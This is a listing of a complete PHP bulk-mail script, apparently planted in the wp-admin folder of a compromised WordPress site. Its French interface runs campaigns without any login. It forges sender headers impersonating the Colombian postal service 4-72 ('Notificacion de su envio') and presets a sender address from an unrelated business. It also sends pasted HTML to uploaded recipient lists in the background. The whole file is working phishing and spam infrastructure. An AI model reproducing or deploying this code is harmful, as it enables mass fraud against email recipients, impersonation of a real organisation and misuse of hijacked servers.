File "mailer_pro.php"

Full Path: /home/fmpomerode/public_html/wp-admin/mailer_pro.php
File size: 42.35 KB
MIME-type: text/x-php; charset=utf-8
Charset: utf-8

<?php
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(300);
ignore_user_abort(true);

session_start();

// Dossier de stockage des sessions
$sessions_dir = sys_get_temp_dir() . '/mailer_sessions';
if (!is_dir($sessions_dir)) {
    mkdir($sessions_dir, 0777, true);
}

// Fonction pour envoyer un email via mail()
function send_email($to, $subject, $text, $html, $sender_name, $sender_email) {
    $boundary = md5(uniqid(time()));
    
    $headers = "";
    $headers .= "From: $sender_name <$sender_email>\r\n";
    $headers .= "Reply-To: $sender_email\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: multipart/alternative; boundary=\"$boundary\"\r\n";
    
    $body = "--$boundary\r\n";
    $body .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n";
    $body .= ($text ?: strip_tags($html)) . "\r\n\r\n";
    $body .= "--$boundary\r\n";
    $body .= "Content-Type: text/html; charset=UTF-8\r\n\r\n";
    $body .= $html . "\r\n\r\n";
    $body .= "--$boundary--";
    
    return @mail($to, $subject, $body, $headers, "-f$sender_email");
}

// Lancer le worker via HTTP fire-and-forget (fsockopen)
function fire_worker($campaign_id) {
    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'];
    $dir = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
    $path = "$dir/mailer_worker.php?campaign_id=" . urlencode($campaign_id);
    $port = ($scheme === 'https') ? 443 : 80;
    
    $prefix = ($scheme === 'https') ? 'ssl://' : '';
    $fp = @fsockopen($prefix . $host, $port, $errno, $errstr, 2);
    if ($fp) {
        $req = "GET $path HTTP/1.1\r\n";
        $req .= "Host: $host\r\n";
        $req .= "Connection: close\r\n\r\n";
        fwrite($fp, $req);
        // Ne pas attendre la réponse - fire and forget
        fclose($fp);
        return true;
    }
    return false;
}

// Vérifier si le worker background est actif (lock file récent)
function is_worker_active($campaign_id, $sessions_dir) {
    $lock_file = "$sessions_dir/$campaign_id.lock";
    if (file_exists($lock_file)) {
        $lock_data = @json_decode(file_get_contents($lock_file), true);
        if ($lock_data && (time() - $lock_data['time']) < 15) {
            return true;
        }
    }
    return false;
}

// Traitement des requêtes AJAX
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    
    if ($action === 'init_campaign') {
        $campaign_id = uniqid('campaign_');
        $sender_name = $_POST['sender_name'] ?? '4-72';
        $sender_email = $_POST['sender_email'] ?? 'noreply@4-72.com.co';
        $subject = $_POST['subject'] ?? 'Notification';
        $html_template = $_POST['html_template'] ?? '';
        $text_template = $_POST['text_template'] ?? '';
        $emails_list = $_POST['emails_list'] ?? '';
        
        $emails = array_values(array_filter(array_map('trim', explode("\n", $emails_list))));
        
        if (count($emails) === 0) {
            echo json_encode(['status' => 'error', 'message' => 'Aucun email fourni']);
            exit;
        }
        
        $campaign_data = [
            'id' => $campaign_id,
            'sender_name' => $sender_name,
            'sender_email' => $sender_email,
            'subject' => $subject,
            'html_template' => $html_template,
            'text_template' => $text_template,
            'emails' => $emails,
            'total' => count($emails),
            'sent' => 0,
            'errors' => 0,
            'current_index' => 0,
            'status' => 'running',
            'started_at' => time(),
            'last_update' => time()
        ];
        
        file_put_contents("$sessions_dir/$campaign_id.json", json_encode($campaign_data));
        
        // Tenter de lancer le worker en arrière-plan
        $worker_launched = fire_worker($campaign_id);
        
        echo json_encode([
            'status' => 'success',
            'campaign_id' => $campaign_id,
            'total_emails' => count($emails),
            'worker' => $worker_launched ? 'launched' : 'fallback'
        ]);
        exit;
    }
    
    if ($action === 'process_batch') {
        $campaign_id = $_POST['campaign_id'] ?? '';
        $campaign_file = "$sessions_dir/$campaign_id.json";
        
        if (!file_exists($campaign_file)) {
            echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
            exit;
        }
        
        clearstatcache();
        $campaign = json_decode(file_get_contents($campaign_file), true);
        
        if (!$campaign || $campaign['status'] !== 'running') {
            echo json_encode([
                'status' => 'success',
                'sent' => $campaign['sent'] ?? 0,
                'errors' => $campaign['errors'] ?? 0,
                'total' => $campaign['total'] ?? 0,
                'progress' => $campaign['total'] > 0 ? round(($campaign['current_index'] / $campaign['total']) * 100, 1) : 0,
                'campaign_status' => $campaign['status'] ?? 'stopped'
            ]);
            exit;
        }
        
        if ($campaign['current_index'] >= $campaign['total']) {
            $campaign['status'] = 'completed';
            file_put_contents($campaign_file, json_encode($campaign));
            echo json_encode([
                'status' => 'success',
                'sent' => $campaign['sent'],
                'errors' => $campaign['errors'],
                'total' => $campaign['total'],
                'progress' => 100,
                'campaign_status' => 'completed'
            ]);
            exit;
        }
        
        // Si le worker tourne déjà, juste retourner le statut sans envoyer
        if (is_worker_active($campaign_id, $sessions_dir)) {
            echo json_encode([
                'status' => 'success',
                'sent' => $campaign['sent'],
                'errors' => $campaign['errors'],
                'total' => $campaign['total'],
                'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
                'campaign_status' => $campaign['status'],
                'worker_active' => true
            ]);
            exit;
        }
        
        // Worker pas actif → le navigateur prend le relai et envoie un batch
        $batch_size = 10;
        $start_index = $campaign['current_index'];
        $end_index = min($start_index + $batch_size, $campaign['total']);
        
        for ($i = $start_index; $i < $end_index; $i++) {
            $email = $campaign['emails'][$i];
            if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
                if (send_email($email, $campaign['subject'], $campaign['text_template'], $campaign['html_template'], $campaign['sender_name'], $campaign['sender_email'])) {
                    $campaign['sent']++;
                } else {
                    $campaign['errors']++;
                }
            } else {
                $campaign['errors']++;
            }
            usleep(30000);
        }
        
        $campaign['current_index'] = $end_index;
        $campaign['last_update'] = time();
        if ($end_index >= $campaign['total']) {
            $campaign['status'] = 'completed';
        }
        
        file_put_contents($campaign_file, json_encode($campaign));
        
        echo json_encode([
            'status' => 'success',
            'sent' => $campaign['sent'],
            'errors' => $campaign['errors'],
            'total' => $campaign['total'],
            'progress' => round(($end_index / $campaign['total']) * 100, 1),
            'campaign_status' => $campaign['status'],
            'worker_active' => false
        ]);
        exit;
    }
    
    if ($action === 'get_status') {
        $campaign_id = $_POST['campaign_id'] ?? '';
        $campaign_file = "$sessions_dir/$campaign_id.json";
        
        if (!file_exists($campaign_file)) {
            echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
            exit;
        }
        
        clearstatcache();
        $campaign = json_decode(file_get_contents($campaign_file), true);
        
        echo json_encode([
            'status' => 'success',
            'sent' => $campaign['sent'],
            'errors' => $campaign['errors'],
            'total' => $campaign['total'],
            'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
            'campaign_status' => $campaign['status'],
            'worker_active' => is_worker_active($campaign_id, $sessions_dir)
        ]);
        exit;
    }
    
    if ($action === 'stop_campaign') {
        $campaign_id = $_POST['campaign_id'] ?? '';
        $campaign_file = "$sessions_dir/$campaign_id.json";
        
        if (file_exists($campaign_file)) {
            $campaign = json_decode(file_get_contents($campaign_file), true);
            $campaign['status'] = 'stopped';
            file_put_contents($campaign_file, json_encode($campaign));
        }
        
        echo json_encode(['status' => 'success']);
        exit;
    }
    
    if ($action === 'list_campaigns') {
        $campaigns = [];
        if (is_dir($sessions_dir)) {
            $files = glob("$sessions_dir/*.json");
            foreach ($files as $file) {
                $campaign = @json_decode(file_get_contents($file), true);
                if ($campaign && ($campaign['status'] === 'running' || $campaign['status'] === 'stopped')) {
                    $campaigns[] = [
                        'id' => $campaign['id'],
                        'status' => $campaign['status'],
                        'sent' => $campaign['sent'],
                        'errors' => $campaign['errors'],
                        'total' => $campaign['total'],
                        'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
                        'started_at' => $campaign['started_at'],
                        'worker_active' => is_worker_active($campaign['id'], $sessions_dir)
                    ];
                }
            }
        }
        
        echo json_encode([
            'status' => 'success',
            'campaigns' => $campaigns
        ]);
        exit;
    }
    
    if ($action === 'resume_campaign') {
        $campaign_id = $_POST['campaign_id'] ?? '';
        $campaign_file = "$sessions_dir/$campaign_id.json";
        
        if (!file_exists($campaign_file)) {
            echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
            exit;
        }
        
        $campaign = json_decode(file_get_contents($campaign_file), true);
        $campaign['status'] = 'running';
        $campaign['last_update'] = time();
        file_put_contents($campaign_file, json_encode($campaign));
        
        // Tenter de relancer le worker
        $worker_launched = fire_worker($campaign_id);
        
        echo json_encode([
            'status' => 'success',
            'campaign_id' => $campaign_id,
            'sent' => $campaign['sent'],
            'errors' => $campaign['errors'],
            'total' => $campaign['total'],
            'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
            'worker' => $worker_launched ? 'launched' : 'fallback'
        ]);
        exit;
    }
    
    if ($action === 'upload_file') {
        if (!isset($_FILES['file'])) {
            echo json_encode(['status' => 'error', 'message' => 'No file uploaded']);
            exit;
        }
        
        $file = $_FILES['file'];
        $content = file_get_contents($file['tmp_name']);
        
        echo json_encode([
            'status' => 'success',
            'content' => $content,
            'lines' => count(array_filter(explode("\n", $content)))
        ]);
        exit;
    }
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>4-72 Mailer Pro</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Arial, sans-serif;
            background: linear-gradient(135deg, #1a1f71 0%, #2d35a8 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        .header {
            background: white;
            padding: 30px;
            border-radius: 12px;
            margin-bottom: 20px;
            box-shadow: 0 4px 12px rgba(0,0,0,0.1);
        }
        .header h1 {
            color: #1a1f71;
            margin-bottom: 5px;
        }
        .header p {
            color: #6b7280;
            font-size: 14px;
        }
        .content {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        .panel {
            background: white;
            border-radius: 12px;
            padding: 24px;
            box-shadow: 0 4px 12px rgba(0,0,0,0.1);
        }
        .panel h2 {
            color: #1a1f71;
            font-size: 18px;
            margin-bottom: 20px;
            padding-bottom: 12px;
            border-bottom: 2px solid #e5e7eb;
        }
        .form-group {
            margin-bottom: 16px;
        }
        label {
            display: block;
            margin-bottom: 6px;
            color: #374151;
            font-weight: 600;
            font-size: 13px;
        }
        input[type="text"],
        input[type="email"],
        textarea,
        select {
            width: 100%;
            padding: 10px;
            border: 1px solid #e5e7eb;
            border-radius: 8px;
            font-family: 'Segoe UI', Arial, sans-serif;
            font-size: 13px;
            transition: border-color 0.3s;
        }
        input[type="text"]:focus,
        input[type="email"]:focus,
        textarea:focus,
        select:focus {
            outline: none;
            border-color: #1a1f71;
            box-shadow: 0 0 0 3px rgba(26, 31, 113, 0.1);
        }
        textarea {
            resize: vertical;
            min-height: 120px;
            font-family: 'Monaco', 'Courier New', monospace;
            font-size: 12px;
        }
        .file-input-wrapper {
            position: relative;
            overflow: hidden;
            display: inline-block;
            width: 100%;
        }
        .file-input-wrapper input[type="file"] {
            position: absolute;
            left: -9999px;
        }
        .file-input-label {
            display: block;
            padding: 10px;
            background: #f3f4f6;
            border: 2px dashed #d1d5db;
            border-radius: 8px;
            text-align: center;
            cursor: pointer;
            transition: all 0.3s;
            color: #6b7280;
            font-weight: 500;
        }
        .file-input-label:hover {
            background: #e5e7eb;
            border-color: #1a1f71;
            color: #1a1f71;
        }
        .file-input-label.loaded {
            background: #d1fae5;
            border-color: #6ee7b7;
            color: #065f46;
        }
        .button-group {
            display: flex;
            gap: 10px;
            margin-top: 24px;
        }
        button {
            flex: 1;
            padding: 12px;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            font-size: 14px;
            cursor: pointer;
            transition: all 0.3s;
        }
        .btn-primary {
            background: #1a1f71;
            color: white;
        }
        .btn-primary:hover:not(:disabled) {
            background: #0f1347;
            transform: translateY(-2px);
            box-shadow: 0 4px 12px rgba(26, 31, 113, 0.3);
        }
        .btn-danger {
            background: #dc2626;
            color: white;
        }
        .btn-danger:hover:not(:disabled) {
            background: #b91c1c;
        }
        button:disabled {
            background: #9ca3af;
            cursor: not-allowed;
            opacity: 0.6;
        }
        .status-panel {
            background: #f8fafc;
            border: 1px solid #e2e8f0;
            border-radius: 8px;
            padding: 20px;
            margin-bottom: 20px;
        }
        .status-title {
            color: #1f2937;
            font-weight: 600;
            margin-bottom: 12px;
        }
        .progress-bar {
            width: 100%;
            height: 24px;
            background: #e5e7eb;
            border-radius: 12px;
            overflow: hidden;
            margin-bottom: 12px;
        }
        .progress-fill {
            height: 100%;
            background: linear-gradient(90deg, #1a1f71, #2d35a8);
            width: 0%;
            transition: width 0.3s;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 12px;
            font-weight: 600;
        }
        .stats {
            display: grid;
            grid-template-columns: 1fr 1fr 1fr;
            gap: 12px;
        }
        .stat {
            background: white;
            padding: 12px;
            border-radius: 8px;
            text-align: center;
            border: 1px solid #e5e7eb;
        }
        .stat-value {
            font-size: 20px;
            font-weight: 700;
            color: #1a1f71;
        }
        .stat-label {
            font-size: 11px;
            color: #6b7280;
            margin-top: 4px;
        }
        .message {
            padding: 12px;
            border-radius: 8px;
            margin-bottom: 12px;
            display: none;
        }
        .message.success {
            background: #d1fae5;
            color: #065f46;
            border: 1px solid #6ee7b7;
        }
        .message.error {
            background: #fee2e2;
            color: #991b1b;
            border: 1px solid #fca5a5;
        }
        .message.info {
            background: #dbeafe;
            color: #0c4a6e;
            border: 1px solid #7dd3fc;
        }
        .message.show {
            display: block;
        }
        .campaigns-list {
            background: #f8fafc;
            border: 1px solid #e2e8f0;
            border-radius: 8px;
            padding: 16px;
            margin-bottom: 20px;
        }
        .campaign-item {
            background: white;
            padding: 12px;
            border-radius: 6px;
            margin-bottom: 8px;
            border-left: 4px solid #1a1f71;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .campaign-info {
            flex: 1;
        }
        .campaign-id {
            font-size: 12px;
            color: #6b7280;
            font-family: monospace;
        }
        .campaign-stats {
            font-size: 13px;
            color: #374151;
            margin-top: 4px;
        }
        .campaign-status {
            font-size: 11px;
            font-weight: 600;
            padding: 4px 8px;
            border-radius: 4px;
            margin-right: 8px;
        }
        .campaign-status.running {
            background: #dcfce7;
            color: #166534;
        }
        .campaign-status.stopped {
            background: #fee2e2;
            color: #991b1b;
        }
        .campaign-actions {
            display: flex;
            gap: 8px;
        }
        .btn-small {
            padding: 6px 12px;
            font-size: 12px;
            border-radius: 6px;
            border: none;
            cursor: pointer;
            font-weight: 600;
            transition: all 0.3s;
        }
        .btn-small.resume {
            background: #1a1f71;
            color: white;
        }
        .btn-small.resume:hover {
            background: #0f1347;
        }
        .btn-small.stop {
            background: #dc2626;
            color: white;
        }
        .btn-small.stop:hover {
            background: #b91c1c;
        }
        .global-controls {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
        }
        .global-controls button {
            flex: 1;
            padding: 12px;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            font-size: 14px;
            cursor: pointer;
            transition: all 0.3s;
        }
        .global-controls .btn-stop-all {
            background: #dc2626;
            color: white;
        }
        .global-controls .btn-stop-all:hover {
            background: #b91c1c;
            transform: translateY(-2px);
            box-shadow: 0 4px 12px rgba(220, 38, 38, 0.3);
        }
        @media (max-width: 768px) {
            .content {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>4-72 Mailer Pro</h1>
            <p>Envoi en masse avec contrôle total - Fonctionne en arrière-plan</p>
        </div>
        
        <!-- Campagnes en cours -->
        <div id="activeCampaigns" style="display: none;">
            <div class="global-controls">
                <button class="btn-stop-all" onclick="stopAllCampaigns()">⏹ Arrêter toutes les campagnes</button>
            </div>
            <div class="campaigns-list">
                <div style="margin-bottom: 12px; font-weight: 600; color: #1f2937;">Campagnes en cours</div>
                <div id="campaignsList"></div>
            </div>
        </div>
        
        <div class="content">
            <!-- Panneau de configuration -->
            <div class="panel">
                <h2>Configuration</h2>
                
                <div class="form-group">
                    <label>Nom de l'expéditeur</label>
                    <input type="text" id="senderName" value="4-72 Entregas" placeholder="Ex: 4-72 Entregas">
                </div>
                
                <div class="form-group">
                    <label>Email de l'expéditeur</label>
                    <input type="email" id="senderEmail" value="r.wolfe@murphybusinessboise.com" placeholder="Ex: sender@domain.com">
                </div>
                
                <div class="form-group">
                    <label>Sujet de l'email</label>
                    <input type="text" id="subject" value="Notificacion de su envio" placeholder="Ex: Notification">
                </div>
                
                <div class="form-group">
                    <label>Template HTML</label>
                    <textarea id="htmlTemplate" placeholder="Collez votre HTML ici..."></textarea>
                    <small style="color: #9ca3af; margin-top: 4px; display: block;">Ou chargez un fichier HTML</small>
                </div>
                
                <div class="form-group">
                    <div class="file-input-wrapper">
                        <input type="file" id="htmlFile" accept=".html,.htm">
                        <label for="htmlFile" class="file-input-label">📄 Charger HTML</label>
                    </div>
                </div>
                
                <div class="form-group">
                    <label>Template texte (alternatif)</label>
                    <textarea id="textTemplate" placeholder="Version texte de l'email..."></textarea>
                </div>
            </div>
            
            <!-- Panneau d'envoi -->
            <div class="panel">
                <h2>Liste d'emails</h2>
                
                <div id="message" class="message"></div>
                
                <div class="form-group">
                    <label>Emails (un par ligne)</label>
                    <textarea id="emailsList" placeholder="email1@domain.com&#10;email2@domain.com&#10;email3@domain.com"></textarea>
                    <small style="color: #9ca3af; margin-top: 4px; display: block;" id="emailCount">0 emails</small>
                </div>
                
                <div class="form-group">
                    <div class="file-input-wrapper">
                        <input type="file" id="emailsFile" accept=".txt,.csv">
                        <label for="emailsFile" class="file-input-label">📋 Charger fichier emails</label>
                    </div>
                </div>
                
                <div class="button-group">
                    <button class="btn-primary" id="startBtn" onclick="startCampaign()">▶ Démarrer</button>
                    <button class="btn-danger" id="stopBtn" onclick="stopCampaign()" disabled>⏹ Arrêter</button>
                </div>
                
                <div class="status-panel" id="statusPanel" style="display: none;">
                    <div class="status-title">Progression</div>
                    <div class="progress-bar">
                        <div class="progress-fill" id="progressFill">0%</div>
                    </div>
                    <div class="stats">
                        <div class="stat">
                            <div class="stat-value" id="sentCount">0</div>
                            <div class="stat-label">Envoyés</div>
                        </div>
                        <div class="stat">
                            <div class="stat-value" id="errorCount">0</div>
                            <div class="stat-label">Erreurs</div>
                        </div>
                        <div class="stat">
                            <div class="stat-value" id="totalCount">0</div>
                            <div class="stat-label">Total</div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <script>
        let campaignId = null;
        let processingInterval = null;
        let campaignStates = {};
        
        // Charger les campagnes en cours au démarrage
        window.addEventListener('load', function() {
            loadActiveCampaigns();
            setInterval(updateAllCampaignsStats, 3000);
        });
        
        function updateAllCampaignsStats() {
            const formData = new FormData();
            formData.append('action', 'list_campaigns');
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.campaigns && data.campaigns.length > 0) {
                        data.campaigns.forEach(c => {
                            updateCampaignStats(c.id, c.sent, c.errors, c.total, c.progress);
                        });
                    }
                })
                .catch(() => {});
        }
        
        function loadActiveCampaigns() {
            const formData = new FormData();
            formData.append('action', 'list_campaigns');
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.campaigns && data.campaigns.length > 0) {
                        const container = document.getElementById('campaignsList');
                        
                        data.campaigns.forEach(campaign => {
                            const cid = campaign.id;
                            let item = document.getElementById('campaign-' + cid);
                            
                            if (!item) {
                                item = document.createElement('div');
                                item.id = 'campaign-' + cid;
                                item.className = 'campaign-item';
                                container.appendChild(item);
                            }
                            
                            campaignStates[cid] = campaign;
                            const statusClass = campaign.status === 'running' ? 'running' : 'stopped';
                            const statusText = campaign.status === 'running' ? '▶ En cours' : '⏹ Arrêtée';
                            const workerInfo = campaign.worker_active ? ' (worker actif)' : ' (navigateur)';
                            
                            item.innerHTML = '<div class="campaign-info">' +
                                '<div class="campaign-id">' + cid + workerInfo + '</div>' +
                                '<div class="campaign-stats">' +
                                '<span id="sent-' + cid + '">' + campaign.sent + '</span>/' +
                                '<span id="total-' + cid + '">' + campaign.total + '</span> envoyés • ' +
                                '<span id="errors-' + cid + '">' + campaign.errors + '</span> erreurs • ' +
                                '<span id="progress-' + cid + '">' + campaign.progress + '</span>%' +
                                '</div></div>' +
                                '<span class="campaign-status ' + statusClass + '">' + statusText + '</span>' +
                                '<div class="campaign-actions">' +
                                (campaign.status === 'stopped' ? '<button class="btn-small resume" onclick="resumeCampaign(\'' + cid + '\')">Reprendre</button>' : '') +
                                '<button class="btn-small stop" onclick="stopCampaignById(\'' + cid + '\')">Arrêter</button>' +
                                '</div>';
                        });
                        
                        document.getElementById('activeCampaigns').style.display = 'block';
                        
                        // Auto-attacher le polling à la première campagne running
                        if (!campaignId) {
                            const running = data.campaigns.find(c => c.status === 'running');
                            if (running) {
                                campaignId = running.id;
                                document.getElementById('startBtn').disabled = true;
                                document.getElementById('stopBtn').disabled = false;
                                document.getElementById('statusPanel').style.display = 'block';
                                document.getElementById('sentCount').textContent = running.sent;
                                document.getElementById('errorCount').textContent = running.errors;
                                document.getElementById('totalCount').textContent = running.total;
                                document.getElementById('progressFill').style.width = running.progress + '%';
                                document.getElementById('progressFill').textContent = running.progress + '%';
                                processBatchPoll();
                            }
                        }
                    } else {
                        document.getElementById('activeCampaigns').style.display = 'none';
                        campaignStates = {};
                    }
                })
                .catch(e => console.error(e));
        }
        
        function updateCampaignStats(cid, sent, errors, total, progress) {
            const sentEl = document.getElementById('sent-' + cid);
            const errorsEl = document.getElementById('errors-' + cid);
            const progressEl = document.getElementById('progress-' + cid);
            
            if (sentEl) sentEl.textContent = sent;
            if (errorsEl) errorsEl.textContent = errors;
            if (progressEl) progressEl.textContent = progress;
            
            campaignStates[cid] = { ...(campaignStates[cid] || {}), sent, errors, progress };
        }
        
        // Polling hybride : appelle process_batch qui envoie OU retourne juste le statut
        function processBatchPoll() {
            if (!campaignId) return;
            
            const formData = new FormData();
            formData.append('action', 'process_batch');
            formData.append('campaign_id', campaignId);
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.status === 'success') {
                        document.getElementById('sentCount').textContent = data.sent;
                        document.getElementById('errorCount').textContent = data.errors;
                        document.getElementById('progressFill').style.width = data.progress + '%';
                        document.getElementById('progressFill').textContent = data.progress + '%';
                        
                        updateCampaignStats(campaignId, data.sent, data.errors, data.total, data.progress);
                        
                        if (data.campaign_status === 'completed') {
                            showMessage('Campaign terminée! ' + data.sent + ' emails envoyés.', 'success');
                            document.getElementById('startBtn').disabled = false;
                            document.getElementById('stopBtn').disabled = true;
                            loadActiveCampaigns();
                        } else if (data.campaign_status === 'running') {
                            // Si worker actif → poll lent (juste statut)
                            // Si pas de worker → poll rapide (on envoie via navigateur)
                            const delay = data.worker_active ? 2000 : 500;
                            processingInterval = setTimeout(processBatchPoll, delay);
                        } else {
                            // stopped
                            document.getElementById('startBtn').disabled = false;
                            document.getElementById('stopBtn').disabled = true;
                            loadActiveCampaigns();
                        }
                    } else if (data.status === 'error') {
                        showMessage('Erreur: ' + data.message, 'error');
                    }
                })
                .catch(e => {
                    processingInterval = setTimeout(processBatchPoll, 3000);
                });
        }
        
        function resumeCampaign(cid) {
            const formData = new FormData();
            formData.append('action', 'resume_campaign');
            formData.append('campaign_id', cid);
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.status === 'success') {
                        campaignId = data.campaign_id;
                        document.getElementById('startBtn').disabled = true;
                        document.getElementById('stopBtn').disabled = false;
                        document.getElementById('statusPanel').style.display = 'block';
                        document.getElementById('sentCount').textContent = data.sent;
                        document.getElementById('errorCount').textContent = data.errors;
                        document.getElementById('totalCount').textContent = data.total;
                        document.getElementById('progressFill').style.width = data.progress + '%';
                        document.getElementById('progressFill').textContent = data.progress + '%';
                        showMessage('Campaign reprise! ' + (data.worker === 'launched' ? 'Worker actif.' : 'Envoi via navigateur.'), 'success');
                        processBatchPoll();
                        loadActiveCampaigns();
                    }
                })
                .catch(e => showMessage('Erreur: ' + e.message, 'error'));
        }
        
        // Charger HTML depuis fichier
        document.getElementById('htmlFile').addEventListener('change', function(e) {
            const file = e.target.files[0];
            if (file) {
                const reader = new FileReader();
                reader.onload = function(event) {
                    document.getElementById('htmlTemplate').value = event.target.result;
                    document.querySelector('label[for="htmlFile"]').classList.add('loaded');
                    document.querySelector('label[for="htmlFile"]').textContent = '✓ ' + file.name;
                };
                reader.readAsText(file);
            }
        });
        
        // Charger emails depuis fichier
        document.getElementById('emailsFile').addEventListener('change', function(e) {
            const file = e.target.files[0];
            if (file) {
                const reader = new FileReader();
                reader.onload = function(event) {
                    document.getElementById('emailsList').value = event.target.result;
                    updateEmailCount();
                    document.querySelector('label[for="emailsFile"]').classList.add('loaded');
                    document.querySelector('label[for="emailsFile"]').textContent = '✓ ' + file.name;
                };
                reader.readAsText(file);
            }
        });
        
        // Compter les emails
        document.getElementById('emailsList').addEventListener('input', updateEmailCount);
        
        function updateEmailCount() {
            const emails = document.getElementById('emailsList').value.split('\n').filter(e => e.trim());
            document.getElementById('emailCount').textContent = emails.length + ' emails';
        }
        
        function showMessage(text, type) {
            type = type || 'info';
            const msg = document.getElementById('message');
            msg.textContent = text;
            msg.className = 'message ' + type + ' show';
            setTimeout(function() { msg.classList.remove('show'); }, 5000);
        }
        
        function startCampaign() {
            const senderName = document.getElementById('senderName').value.trim();
            const senderEmail = document.getElementById('senderEmail').value.trim();
            const subject = document.getElementById('subject').value.trim();
            const htmlTemplate = document.getElementById('htmlTemplate').value.trim();
            const textTemplate = document.getElementById('textTemplate').value.trim();
            const emailsList = document.getElementById('emailsList').value.trim();
            
            if (!senderName || !senderEmail || !subject || !htmlTemplate || !emailsList) {
                showMessage('Veuillez remplir tous les champs obligatoires', 'error');
                return;
            }
            
            document.getElementById('startBtn').disabled = true;
            showMessage('Initialisation de la campagne...', 'info');
            
            const formData = new FormData();
            formData.append('action', 'init_campaign');
            formData.append('sender_name', senderName);
            formData.append('sender_email', senderEmail);
            formData.append('subject', subject);
            formData.append('html_template', htmlTemplate);
            formData.append('text_template', textTemplate);
            formData.append('emails_list', emailsList);
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.status === 'success') {
                        campaignId = data.campaign_id;
                        document.getElementById('stopBtn').disabled = false;
                        document.getElementById('statusPanel').style.display = 'block';
                        document.getElementById('totalCount').textContent = data.total_emails;
                        const workerMsg = data.worker === 'launched' ? 'Worker lancé en arrière-plan!' : 'Envoi via navigateur (gardez la page ouverte).';
                        showMessage('Campaign démarrée! ' + workerMsg, 'success');
                        processBatchPoll();
                        loadActiveCampaigns();
                    } else {
                        showMessage('Erreur: ' + (data.message || 'inconnue'), 'error');
                        document.getElementById('startBtn').disabled = false;
                    }
                })
                .catch(e => {
                    showMessage('Erreur: ' + e.message, 'error');
                    document.getElementById('startBtn').disabled = false;
                });
        }
        
        function stopCampaign() {
            if (!campaignId) return;
            stopCampaignById(campaignId);
        }
        
        function stopCampaignById(cid) {
            const formData = new FormData();
            formData.append('action', 'stop_campaign');
            formData.append('campaign_id', cid);
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (cid === campaignId) {
                        clearTimeout(processingInterval);
                        document.getElementById('startBtn').disabled = false;
                        document.getElementById('stopBtn').disabled = true;
                    }
                    showMessage('Campaign arrêtée', 'info');
                    loadActiveCampaigns();
                })
                .catch(e => showMessage('Erreur: ' + e.message, 'error'));
        }
        
        function stopAllCampaigns() {
            if (!confirm('Arrêter TOUTES les campagnes en cours?')) return;
            
            const formData = new FormData();
            formData.append('action', 'list_campaigns');
            
            fetch(window.location.href, { method: 'POST', body: formData })
                .then(r => r.json())
                .then(data => {
                    if (data.campaigns && data.campaigns.length > 0) {
                        let stopped = 0;
                        const promises = data.campaigns.map(c => {
                            const fd = new FormData();
                            fd.append('action', 'stop_campaign');
                            fd.append('campaign_id', c.id);
                            return fetch(window.location.href, { method: 'POST', body: fd })
                                .then(r => r.json())
                                .then(res => { if (res.status === 'success') stopped++; });
                        });
                        Promise.all(promises).then(() => {
                            clearTimeout(processingInterval);
                            document.getElementById('startBtn').disabled = false;
                            document.getElementById('stopBtn').disabled = true;
                            showMessage(stopped + ' campagne(s) arrêtée(s)', 'success');
                            loadActiveCampaigns();
                        });
                    }
                })
                .catch(e => showMessage('Erreur: ' + e.message, 'error'));
        }
    </script>
</body>
</html>